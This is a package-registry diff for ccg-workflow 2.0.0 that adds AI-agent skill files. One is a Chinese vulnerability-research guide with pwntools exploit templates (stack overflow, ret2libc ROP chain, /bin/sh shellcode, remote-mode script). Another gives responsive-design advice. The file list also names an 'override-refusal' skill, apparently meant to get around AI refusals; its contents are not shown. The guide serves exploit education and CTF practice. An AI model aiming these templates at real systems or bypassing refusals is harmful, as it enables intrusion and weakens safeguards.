ccg-workflow 1.8.2 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (111) hide show
  1. package/dist/cli.mjs +1 -1
  2. package/dist/index.d.mts +1 -0
  3. package/dist/index.d.ts +1 -0
  4. package/dist/index.mjs +1 -1
  5. package/dist/shared/{ccg-workflow.B1RHp04H.mjs → ccg-workflow.iK6lgCG3.mjs} +204 -6
  6. package/package.json +1 -1
  7. package/templates/commands/agents/team-architect.md +97 -0
  8. package/templates/commands/agents/team-qa.md +121 -0
  9. package/templates/commands/agents/team-reviewer.md +112 -0
  10. package/templates/output-styles/abyss-command.md +56 -0
  11. package/templates/output-styles/abyss-concise.md +89 -0
  12. package/templates/output-styles/abyss-ritual.md +70 -0
  13. package/templates/rules/ccg-skill-routing.md +83 -0
  14. package/templates/skills/domains/ai/SKILL.md +34 -0
  15. package/templates/skills/domains/ai/agent-dev.md +242 -0
  16. package/templates/skills/domains/ai/llm-security.md +288 -0
  17. package/templates/skills/domains/ai/prompt-and-eval.md +279 -0
  18. package/templates/skills/domains/ai/rag-system.md +542 -0
  19. package/templates/skills/domains/architecture/SKILL.md +42 -0
  20. package/templates/skills/domains/architecture/api-design.md +225 -0
  21. package/templates/skills/domains/architecture/caching.md +299 -0
  22. package/templates/skills/domains/architecture/cloud-native.md +285 -0
  23. package/templates/skills/domains/architecture/message-queue.md +329 -0
  24. package/templates/skills/domains/architecture/security-arch.md +297 -0
  25. package/templates/skills/domains/data-engineering/SKILL.md +207 -0
  26. package/templates/skills/domains/development/SKILL.md +46 -0
  27. package/templates/skills/domains/development/cpp.md +246 -0
  28. package/templates/skills/domains/development/go.md +323 -0
  29. package/templates/skills/domains/development/java.md +277 -0
  30. package/templates/skills/domains/development/python.md +288 -0
  31. package/templates/skills/domains/development/rust.md +313 -0
  32. package/templates/skills/domains/development/shell.md +313 -0
  33. package/templates/skills/domains/development/typescript.md +277 -0
  34. package/templates/skills/domains/devops/SKILL.md +39 -0
  35. package/templates/skills/domains/devops/cost-optimization.md +272 -0
  36. package/templates/skills/domains/devops/database.md +217 -0
  37. package/templates/skills/domains/devops/devsecops.md +198 -0
  38. package/templates/skills/domains/devops/git-workflow.md +181 -0
  39. package/templates/skills/domains/devops/observability.md +280 -0
  40. package/templates/skills/domains/devops/performance.md +336 -0
  41. package/templates/skills/domains/devops/testing.md +283 -0
  42. package/templates/skills/domains/frontend-design/SKILL.md +242 -0
  43. package/templates/skills/domains/frontend-design/agents/openai.yaml +4 -0
  44. package/templates/skills/domains/frontend-design/claymorphism/SKILL.md +119 -0
  45. package/templates/skills/domains/frontend-design/claymorphism/references/tokens.css +52 -0
  46. package/templates/skills/domains/frontend-design/component-patterns.md +202 -0
  47. package/templates/skills/domains/frontend-design/engineering.md +287 -0
  48. package/templates/skills/domains/frontend-design/glassmorphism/SKILL.md +140 -0
  49. package/templates/skills/domains/frontend-design/glassmorphism/references/tokens.css +32 -0
  50. package/templates/skills/domains/frontend-design/liquid-glass/SKILL.md +137 -0
  51. package/templates/skills/domains/frontend-design/liquid-glass/references/tokens.css +81 -0
  52. package/templates/skills/domains/frontend-design/neubrutalism/SKILL.md +143 -0
  53. package/templates/skills/domains/frontend-design/neubrutalism/references/tokens.css +44 -0
  54. package/templates/skills/domains/frontend-design/reference/color-and-contrast.md +132 -0
  55. package/templates/skills/domains/frontend-design/reference/interaction-design.md +195 -0
  56. package/templates/skills/domains/frontend-design/reference/motion-design.md +99 -0
  57. package/templates/skills/domains/frontend-design/reference/responsive-design.md +114 -0
  58. package/templates/skills/domains/frontend-design/reference/spatial-design.md +100 -0
  59. package/templates/skills/domains/frontend-design/reference/typography.md +133 -0
  60. package/templates/skills/domains/frontend-design/reference/ux-writing.md +107 -0
  61. package/templates/skills/domains/frontend-design/state-management.md +680 -0
  62. package/templates/skills/domains/frontend-design/ui-aesthetics.md +110 -0
  63. package/templates/skills/domains/frontend-design/ux-principles.md +156 -0
  64. package/templates/skills/domains/infrastructure/SKILL.md +200 -0
  65. package/templates/skills/domains/mobile/SKILL.md +224 -0
  66. package/templates/skills/domains/orchestration/SKILL.md +29 -0
  67. package/templates/skills/domains/orchestration/multi-agent.md +263 -0
  68. package/templates/skills/domains/security/SKILL.md +72 -0
  69. package/templates/skills/domains/security/blue-team.md +436 -0
  70. package/templates/skills/domains/security/code-audit.md +265 -0
  71. package/templates/skills/domains/security/pentest.md +226 -0
  72. package/templates/skills/domains/security/red-team.md +374 -0
  73. package/templates/skills/domains/security/threat-intel.md +372 -0
  74. package/templates/skills/domains/security/vuln-research.md +369 -0
  75. package/templates/skills/impeccable/adapt/SKILL.md +199 -0
  76. package/templates/skills/impeccable/animate/SKILL.md +174 -0
  77. package/templates/skills/impeccable/arrange/SKILL.md +124 -0
  78. package/templates/skills/impeccable/audit/SKILL.md +147 -0
  79. package/templates/skills/impeccable/bolder/SKILL.md +116 -0
  80. package/templates/skills/impeccable/clarify/SKILL.md +183 -0
  81. package/templates/skills/impeccable/colorize/SKILL.md +142 -0
  82. package/templates/skills/impeccable/critique/SKILL.md +201 -0
  83. package/templates/skills/impeccable/critique/reference/cognitive-load.md +106 -0
  84. package/templates/skills/impeccable/critique/reference/heuristics-scoring.md +234 -0
  85. package/templates/skills/impeccable/critique/reference/personas.md +178 -0
  86. package/templates/skills/impeccable/delight/SKILL.md +303 -0
  87. package/templates/skills/impeccable/distill/SKILL.md +121 -0
  88. package/templates/skills/impeccable/extract/SKILL.md +92 -0
  89. package/templates/skills/impeccable/harden/SKILL.md +355 -0
  90. package/templates/skills/impeccable/normalize/SKILL.md +70 -0
  91. package/templates/skills/impeccable/onboard/SKILL.md +246 -0
  92. package/templates/skills/impeccable/optimize/SKILL.md +266 -0
  93. package/templates/skills/impeccable/overdrive/SKILL.md +141 -0
  94. package/templates/skills/impeccable/polish/SKILL.md +203 -0
  95. package/templates/skills/impeccable/quieter/SKILL.md +102 -0
  96. package/templates/skills/impeccable/teach-impeccable/SKILL.md +71 -0
  97. package/templates/skills/impeccable/typeset/SKILL.md +115 -0
  98. package/templates/skills/orchestration/multi-agent/SKILL.md +40 -0
  99. package/templates/skills/scrapling/SKILL.md +98 -0
  100. package/templates/skills/scrapling/references/api-quick-ref.md +127 -0
  101. package/templates/skills/scrapling/references/cookie-vault.md +56 -0
  102. package/templates/skills/scrapling/references/maintenance.md +79 -0
  103. package/templates/skills/scrapling/references/site-patterns.md +86 -0
  104. package/templates/skills/scrapling/references/troubleshooting.md +95 -0
  105. package/templates/skills/scrapling/templates/basic_fetch.py +19 -0
  106. package/templates/skills/scrapling/templates/parse_only.py +15 -0
  107. package/templates/skills/scrapling/templates/session_login.py +19 -0
  108. package/templates/skills/scrapling/templates/stealth_cloudflare.py +28 -0
  109. package/templates/skills/tools/override-refusal/SKILL.md +53 -0
  110. package/templates/skills/tools/override-refusal/agents/openai.yaml +4 -0
  111. package/templates/skills/tools/override-refusal/scripts/refusal_rewriter.js +226 -0
@@ -0,0 +1,369 @@
1
+ ---
2
+ name: vuln-research
3
+ description: 漏洞研究。二进制分析、逆向工程、Exploit开发、Fuzzing。当用户提到漏洞研究、二进制、逆向、Exploit、Fuzzing、PWN、栈溢出、堆溢出时使用。
4
+ ---
5
+
6
+ # 🔥 赤焰秘典 · 漏洞研究 (Vulnerability Research)
7
+
8
+
9
+ ## 研究流程
10
+
11
+ ```
12
+ 目标分析 → 逆向工程 → 漏洞发现 → Exploit开发 → 报告/披露
13
+ │ │ │ │ │
14
+ └─ 架构 ────┴─ IDA ─────┴─ Fuzz ────┴─ PoC ────┴─ CVE
15
+ ```
16
+
17
+ ## 逆向工程
18
+
19
+ ### 静态分析
20
+ ```bash
21
+ # 文件信息
22
+ file binary
23
+ strings binary | grep -i password
24
+ readelf -h binary
25
+ objdump -d binary
26
+
27
+ # IDA Pro / Ghidra
28
+ # 反汇编、反编译、交叉引用分析
29
+ ```
30
+
31
+ ### 动态分析
32
+ ```bash
33
+ # GDB 调试
34
+ gdb ./binary
35
+ (gdb) break main
36
+ (gdb) run
37
+ (gdb) disas
38
+ (gdb) x/20x $esp
39
+ (gdb) info registers
40
+
41
+ # strace/ltrace
42
+ strace ./binary
43
+ ltrace ./binary
44
+
45
+ # GDB 增强
46
+ # pwndbg / GEF / peda
47
+ ```
48
+
49
+ ### 常用工具
50
+ ```yaml
51
+ 反汇编/反编译:
52
+ - IDA Pro: 商业,最强大
53
+ - Ghidra: 开源,NSA出品
54
+ - Binary Ninja: 现代化
55
+ - Radare2: 开源命令行
56
+
57
+ 调试器:
58
+ - GDB + pwndbg/GEF
59
+ - x64dbg (Windows)
60
+ - WinDbg (Windows内核)
61
+ - LLDB (macOS)
62
+
63
+ 辅助工具:
64
+ - ROPgadget: ROP链构造
65
+ - one_gadget: libc gadget
66
+ - patchelf: ELF修改
67
+ - checksec: 安全机制检查
68
+ ```
69
+
70
+ ## 漏洞类型
71
+
72
+ ### 栈溢出
73
+ ```c
74
+ // 漏洞代码
75
+ void vulnerable(char *input) {
76
+ char buffer[64];
77
+ strcpy(buffer, input); // 无边界检查
78
+ }
79
+
80
+ // 利用思路
81
+ // 1. 覆盖返回地址
82
+ // 2. 跳转到 shellcode 或 ROP 链
83
+ ```
84
+
85
+ ```python
86
+ # Exploit 模板
87
+ from pwn import *
88
+
89
+ context.arch = 'amd64'
90
+ p = process('./vuln')
91
+
92
+ # 构造 payload
93
+ padding = b'A' * 72 # 填充到返回地址
94
+ ret_addr = p64(0x401234) # 目标地址
95
+
96
+ payload = padding + ret_addr
97
+ p.sendline(payload)
98
+ p.interactive()
99
+ ```
100
+
101
+ ### 堆溢出
102
+ ```c
103
+ // 漏洞代码
104
+ struct chunk {
105
+ char data[32];
106
+ void (*func_ptr)();
107
+ };
108
+
109
+ void vulnerable(char *input) {
110
+ struct chunk *c = malloc(sizeof(struct chunk));
111
+ strcpy(c->data, input); // 溢出覆盖 func_ptr
112
+ c->func_ptr();
113
+ }
114
+ ```
115
+
116
+ ### Use-After-Free
117
+ ```c
118
+ // 漏洞代码
119
+ void vulnerable() {
120
+ char *ptr = malloc(64);
121
+ free(ptr);
122
+ // ptr 未置空
123
+ strcpy(ptr, user_input); // UAF
124
+ }
125
+ ```
126
+
127
+ ### 格式化字符串
128
+ ```c
129
+ // 漏洞代码
130
+ void vulnerable(char *input) {
131
+ printf(input); // 格式化字符串漏洞
132
+ }
133
+
134
+ // 利用
135
+ // %x - 泄露栈数据
136
+ // %n - 任意写
137
+ // %s - 任意读
138
+ ```
139
+
140
+ ## 保护机制绕过
141
+
142
+ ### 检查保护
143
+ ```bash
144
+ checksec ./binary
145
+ # RELRO, Stack Canary, NX, PIE, FORTIFY
146
+ ```
147
+
148
+ ### 绕过技术
149
+ ```yaml
150
+ NX (不可执行):
151
+ - ROP (Return Oriented Programming)
152
+ - ret2libc
153
+ - ret2syscall
154
+
155
+ ASLR (地址随机化):
156
+ - 信息泄露
157
+ - 暴力破解 (32位)
158
+ - 部分覆盖
159
+
160
+ Stack Canary:
161
+ - 信息泄露
162
+ - 逐字节爆破
163
+ - 覆盖 __stack_chk_fail
164
+
165
+ PIE (位置无关):
166
+ - 信息泄露基址
167
+ - 部分覆盖
168
+
169
+ RELRO:
170
+ - Partial: 覆盖 GOT
171
+ - Full: 其他利用方式
172
+ ```
173
+
174
+ ### ROP 链构造
175
+ ```python
176
+ from pwn import *
177
+
178
+ elf = ELF('./vuln')
179
+ libc = ELF('./libc.so.6')
180
+ rop = ROP(elf)
181
+
182
+ # 泄露 libc 地址
183
+ rop.puts(elf.got['puts'])
184
+ rop.main()
185
+
186
+ # 计算 libc 基址
187
+ libc_base = leaked_puts - libc.symbols['puts']
188
+ system = libc_base + libc.symbols['system']
189
+ bin_sh = libc_base + next(libc.search(b'/bin/sh'))
190
+
191
+ # 第二阶段 ROP
192
+ rop2 = ROP(libc)
193
+ rop2.system(bin_sh)
194
+ ```
195
+
196
+ ## Fuzzing
197
+
198
+ ### AFL++
199
+ ```bash
200
+ # 编译插桩
201
+ afl-gcc -o target_afl target.c
202
+
203
+ # 准备种子
204
+ mkdir input output
205
+ echo "seed" > input/seed
206
+
207
+ # 开始 Fuzz
208
+ afl-fuzz -i input -o output -- ./target_afl @@
209
+
210
+ # 分析崩溃
211
+ afl-tmin -i output/crashes/id:000000 -o minimized -- ./target_afl @@
212
+ ```
213
+
214
+ ### LibFuzzer
215
+ ```cpp
216
+ // fuzz_target.cpp
217
+ extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
218
+ // 调用被测函数
219
+ parse_input(data, size);
220
+ return 0;
221
+ }
222
+ ```
223
+
224
+ ```bash
225
+ # 编译
226
+ clang++ -fsanitize=fuzzer,address fuzz_target.cpp -o fuzzer
227
+
228
+ # 运行
229
+ ./fuzzer corpus/
230
+ ```
231
+
232
+ ### 智能 Fuzzing
233
+ ```python
234
+ # 基于覆盖率的 Fuzzing
235
+ # 使用 AFL、LibFuzzer 等
236
+
237
+ # 基于语法的 Fuzzing
238
+ # 使用 Peach、Domato 等
239
+
240
+ # 符号执行辅助
241
+ # 使用 KLEE、angr 等
242
+ ```
243
+
244
+ ## Exploit 开发
245
+
246
+ ### Shellcode
247
+ ```python
248
+ # pwntools 生成
249
+ from pwn import *
250
+ context.arch = 'amd64'
251
+
252
+ # execve("/bin/sh", NULL, NULL)
253
+ shellcode = asm(shellcraft.sh())
254
+
255
+ # 自定义 shellcode
256
+ shellcode = asm('''
257
+ xor rdi, rdi
258
+ push rdi
259
+ mov rdi, 0x68732f6e69622f
260
+ push rdi
261
+ mov rdi, rsp
262
+ xor rsi, rsi
263
+ xor rdx, rdx
264
+ mov al, 59
265
+ syscall
266
+ ''')
267
+ ```
268
+
269
+ ### 完整 Exploit 模板
270
+ ```python
271
+ #!/usr/bin/env python3
272
+ from pwn import *
273
+
274
+ context.arch = 'amd64'
275
+ context.log_level = 'debug'
276
+
277
+ # 配置
278
+ binary = './vuln'
279
+ libc_path = './libc.so.6'
280
+ host, port = 'target.com', 1337
281
+
282
+ # 加载
283
+ elf = ELF(binary)
284
+ libc = ELF(libc_path)
285
+
286
+ def exploit(p):
287
+ # 1. 泄露地址
288
+ payload1 = b'A' * 72
289
+ payload1 += p64(elf.plt['puts'])
290
+ payload1 += p64(elf.got['puts'])
291
+ payload1 += p64(elf.symbols['main'])
292
+
293
+ p.sendline(payload1)
294
+ leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
295
+ libc_base = leaked - libc.symbols['puts']
296
+ log.success(f"libc base: {hex(libc_base)}")
297
+
298
+ # 2. 获取 shell
299
+ system = libc_base + libc.symbols['system']
300
+ bin_sh = libc_base + next(libc.search(b'/bin/sh'))
301
+
302
+ payload2 = b'A' * 72
303
+ payload2 += p64(libc_base + 0x4f3d5) # one_gadget
304
+
305
+ p.sendline(payload2)
306
+ p.interactive()
307
+
308
+ if __name__ == '__main__':
309
+ if args.REMOTE:
310
+ p = remote(host, port)
311
+ else:
312
+ p = process(binary)
313
+ exploit(p)
314
+ ```
315
+
316
+ ## CTF PWN 技巧
317
+
318
+ ### 常见题型
319
+ ```yaml
320
+ 栈溢出:
321
+ - ret2text: 跳转到后门函数
322
+ - ret2shellcode: 跳转到 shellcode
323
+ - ret2libc: 调用 system("/bin/sh")
324
+ - ROP: 构造 ROP 链
325
+
326
+ 堆利用:
327
+ - fastbin attack
328
+ - unsorted bin attack
329
+ - tcache poisoning
330
+ - house of 系列
331
+
332
+ 格式化字符串:
333
+ - 泄露栈/libc地址
334
+ - 任意写 GOT
335
+ - 修改返回地址
336
+ ```
337
+
338
+ ### 快速解题流程
339
+ ```bash
340
+ # 1. 检查保护
341
+ checksec ./pwn
342
+
343
+ # 2. 运行测试
344
+ ./pwn
345
+
346
+ # 3. 反编译分析
347
+ # IDA/Ghidra
348
+
349
+ # 4. 确定漏洞点
350
+ # 5. 编写 Exploit
351
+ # 6. 本地测试
352
+ # 7. 远程利用
353
+ ```
354
+
355
+ ## 工具清单
356
+
357
+ | 工具 | 用途 |
358
+ |------|------|
359
+ | IDA Pro | 反汇编/反编译 |
360
+ | Ghidra | 开源逆向 |
361
+ | pwntools | Exploit 开发 |
362
+ | GDB + pwndbg | 调试 |
363
+ | AFL++ | Fuzzing |
364
+ | ROPgadget | ROP 链 |
365
+ | one_gadget | libc gadget |
366
+ | angr | 符号执行 |
367
+
368
+ ---
369
+
@@ -0,0 +1,199 @@
1
+ ---
2
+ name: adapt
3
+ description: "Adapt designs to work across different screen sizes, devices, contexts, or platforms. Implements breakpoints, fluid layouts, and touch targets. Use when the user mentions responsive design, mobile layouts, breakpoints, viewport adaptation, or cross-device compatibility."
4
+ argument-hint: "[target] [context (mobile, tablet, print...)]"
5
+ user-invocable: true
6
+ ---
7
+
8
+ Adapt existing designs to work effectively across different contexts - different screen sizes, devices, platforms, or use cases.
9
+
10
+ ## MANDATORY PREPARATION
11
+
12
+ Invoke /frontend-design — it contains design principles, anti-patterns, and the **Context Gathering Protocol**. Follow the protocol before proceeding — if no design context exists yet, you MUST run /teach-impeccable first. Additionally gather: target platforms/devices and usage contexts.
13
+
14
+ ---
15
+
16
+ ## Assess Adaptation Challenge
17
+
18
+ Understand what needs adaptation and why:
19
+
20
+ 1. **Identify the source context**:
21
+ - What was it designed for originally? (Desktop web? Mobile app?)
22
+ - What assumptions were made? (Large screen? Mouse input? Fast connection?)
23
+ - What works well in current context?
24
+
25
+ 2. **Understand target context**:
26
+ - **Device**: Mobile, tablet, desktop, TV, watch, print?
27
+ - **Input method**: Touch, mouse, keyboard, voice, gamepad?
28
+ - **Screen constraints**: Size, resolution, orientation?
29
+ - **Connection**: Fast wifi, slow 3G, offline?
30
+ - **Usage context**: On-the-go vs desk, quick glance vs focused reading?
31
+ - **User expectations**: What do users expect on this platform?
32
+
33
+ 3. **Identify adaptation challenges**:
34
+ - What won't fit? (Content, navigation, features)
35
+ - What won't work? (Hover states on touch, tiny touch targets)
36
+ - What's inappropriate? (Desktop patterns on mobile, mobile patterns on desktop)
37
+
38
+ **CRITICAL**: Adaptation is not just scaling - it's rethinking the experience for the new context.
39
+
40
+ ## Plan Adaptation Strategy
41
+
42
+ Create context-appropriate strategy:
43
+
44
+ ### Mobile Adaptation (Desktop → Mobile)
45
+
46
+ **Layout Strategy**:
47
+ - Single column instead of multi-column
48
+ - Vertical stacking instead of side-by-side
49
+ - Full-width components instead of fixed widths
50
+ - Bottom navigation instead of top/side navigation
51
+
52
+ **Interaction Strategy**:
53
+ - Touch targets 44x44px minimum (not hover-dependent)
54
+ - Swipe gestures where appropriate (lists, carousels)
55
+ - Bottom sheets instead of dropdowns
56
+ - Thumbs-first design (controls within thumb reach)
57
+ - Larger tap areas with more spacing
58
+
59
+ **Content Strategy**:
60
+ - Progressive disclosure (don't show everything at once)
61
+ - Prioritize primary content (secondary content in tabs/accordions)
62
+ - Shorter text (more concise)
63
+ - Larger text (16px minimum)
64
+
65
+ **Navigation Strategy**:
66
+ - Hamburger menu or bottom navigation
67
+ - Reduce navigation complexity
68
+ - Sticky headers for context
69
+ - Back button in navigation flow
70
+
71
+ ### Tablet Adaptation (Hybrid Approach)
72
+
73
+ **Layout Strategy**:
74
+ - Two-column layouts (not single or three-column)
75
+ - Side panels for secondary content
76
+ - Master-detail views (list + detail)
77
+ - Adaptive based on orientation (portrait vs landscape)
78
+
79
+ **Interaction Strategy**:
80
+ - Support both touch and pointer
81
+ - Touch targets 44x44px but allow denser layouts than phone
82
+ - Side navigation drawers
83
+ - Multi-column forms where appropriate
84
+
85
+ ### Desktop Adaptation (Mobile → Desktop)
86
+
87
+ **Layout Strategy**:
88
+ - Multi-column layouts (use horizontal space)
89
+ - Side navigation always visible
90
+ - Multiple information panels simultaneously
91
+ - Fixed widths with max-width constraints (don't stretch to 4K)
92
+
93
+ **Interaction Strategy**:
94
+ - Hover states for additional information
95
+ - Keyboard shortcuts
96
+ - Right-click context menus
97
+ - Drag and drop where helpful
98
+ - Multi-select with Shift/Cmd
99
+
100
+ **Content Strategy**:
101
+ - Show more information upfront (less progressive disclosure)
102
+ - Data tables with many columns
103
+ - Richer visualizations
104
+ - More detailed descriptions
105
+
106
+ ### Print Adaptation (Screen → Print)
107
+
108
+ **Layout Strategy**:
109
+ - Page breaks at logical points
110
+ - Remove navigation, footer, interactive elements
111
+ - Black and white (or limited color)
112
+ - Proper margins for binding
113
+
114
+ **Content Strategy**:
115
+ - Expand shortened content (show full URLs, hidden sections)
116
+ - Add page numbers, headers, footers
117
+ - Include metadata (print date, page title)
118
+ - Convert charts to print-friendly versions
119
+
120
+ ### Email Adaptation (Web → Email)
121
+
122
+ **Layout Strategy**:
123
+ - Narrow width (600px max)
124
+ - Single column only
125
+ - Inline CSS (no external stylesheets)
126
+ - Table-based layouts (for email client compatibility)
127
+
128
+ **Interaction Strategy**:
129
+ - Large, obvious CTAs (buttons not text links)
130
+ - No hover states (not reliable)
131
+ - Deep links to web app for complex interactions
132
+
133
+ ## Implement Adaptations
134
+
135
+ Apply changes systematically:
136
+
137
+ ### Responsive Breakpoints
138
+
139
+ Choose appropriate breakpoints:
140
+ - Mobile: 320px-767px
141
+ - Tablet: 768px-1023px
142
+ - Desktop: 1024px+
143
+ - Or content-driven breakpoints (where design breaks)
144
+
145
+ ### Layout Adaptation Techniques
146
+
147
+ - **CSS Grid/Flexbox**: Reflow layouts automatically
148
+ - **Container Queries**: Adapt based on container, not viewport
149
+ - **`clamp()`**: Fluid sizing between min and max
150
+ - **Media queries**: Different styles for different contexts
151
+ - **Display properties**: Show/hide elements per context
152
+
153
+ ### Touch Adaptation
154
+
155
+ - Increase touch target sizes (44x44px minimum)
156
+ - Add more spacing between interactive elements
157
+ - Remove hover-dependent interactions
158
+ - Add touch feedback (ripples, highlights)
159
+ - Consider thumb zones (easier to reach bottom than top)
160
+
161
+ ### Content Adaptation
162
+
163
+ - Use `display: none` sparingly (still downloads)
164
+ - Progressive enhancement (core content first, enhancements on larger screens)
165
+ - Lazy loading for off-screen content
166
+ - Responsive images (`srcset`, `picture` element)
167
+
168
+ ### Navigation Adaptation
169
+
170
+ - Transform complex nav to hamburger/drawer on mobile
171
+ - Bottom nav bar for mobile apps
172
+ - Persistent side navigation on desktop
173
+ - Breadcrumbs on smaller screens for context
174
+
175
+ **IMPORTANT**: Test on real devices, not just browser DevTools. Device emulation is helpful but not perfect.
176
+
177
+ **NEVER**:
178
+ - Hide core functionality on mobile (if it matters, make it work)
179
+ - Assume desktop = powerful device (consider accessibility, older machines)
180
+ - Use different information architecture across contexts (confusing)
181
+ - Break user expectations for platform (mobile users expect mobile patterns)
182
+ - Forget landscape orientation on mobile/tablet
183
+ - Use generic breakpoints blindly (use content-driven breakpoints)
184
+ - Ignore touch on desktop (many desktop devices have touch)
185
+
186
+ ## Verify Adaptations
187
+
188
+ Test thoroughly across contexts:
189
+
190
+ - **Real devices**: Test on actual phones, tablets, desktops
191
+ - **Different orientations**: Portrait and landscape
192
+ - **Different browsers**: Safari, Chrome, Firefox, Edge
193
+ - **Different OS**: iOS, Android, Windows, macOS
194
+ - **Different input methods**: Touch, mouse, keyboard
195
+ - **Edge cases**: Very small screens (320px), very large screens (4K)
196
+ - **Slow connections**: Test on throttled network
197
+
198
+ Remember: You're a cross-platform design expert. Make experiences that feel native to each context while maintaining brand and functionality consistency. Adapt intentionally, test thoroughly.
199
+